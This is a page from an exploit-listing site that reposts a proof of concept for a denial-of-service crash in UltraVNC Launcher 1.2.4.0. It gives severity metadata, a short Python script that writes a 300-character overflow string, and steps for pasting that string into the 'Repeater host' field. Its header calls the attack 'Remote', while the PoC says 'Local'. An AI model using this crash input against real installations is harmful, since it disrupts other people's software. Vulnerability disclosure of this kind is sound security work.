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UltraVNC Launcher 1.2.4.0 RepeaterHost Denial of Service (PoC)

CVE Category Price Severity
CWE-399 Not specified High
Author Risk Exploitation Type Date
Unknown High Remote 2020-04-08
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040037

Below is a copy:

UltraVNC Launcher 1.2.4.0 RepeaterHost Denial of Service (PoC)
# Exploit Title:  UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Launcher_RepeaterHost.py
#2.- Open UltraVNC_1.2.40-Launcher_RepeaterHost.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Repeater host" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraVNC_1.2.40-Launcher_RepeaterHost.txt', 'w')
f.write(cod)
f.close()

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